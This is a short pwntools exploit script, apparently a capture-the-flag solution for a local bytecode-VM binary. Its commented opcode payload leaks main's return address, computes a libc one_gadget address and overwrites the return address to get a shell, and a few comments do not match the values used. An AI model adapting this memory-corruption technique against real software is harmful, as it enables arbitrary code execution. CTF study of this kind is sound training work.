#!/usr/bin/python
#-*- coding:utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60'])
p = process('./pwn')

one_gadget = [0x4f365, 0x4f3c2, 0x10a45c]
payload  = p64(1) + p64(0x2d72e) #把0x2d72e放入v38中
payload += p64(11) #向+3处写入0x2d72e
payload += p64(1) + p64(0xe8) #向v38中写入0xf0
payload += p64(26) #计算出main函数$rbp+0x8的栈地址
payload += p64(13) #向+1出写入$rbp+0x8
payload += p64(9) #取出原return addr
payload += p64(13) #向+0处写入return addr
payload += p64(1) + p64(0x2d7ce) #把0x2d72e放入v38中
payload += p64(25) #计算one_gadget
payload += p64(11) #向$rbp+0x8处写入one_gadget

payload += p64(30)
p.sendlineafter('Input your code> ', payload)


p.interactive()
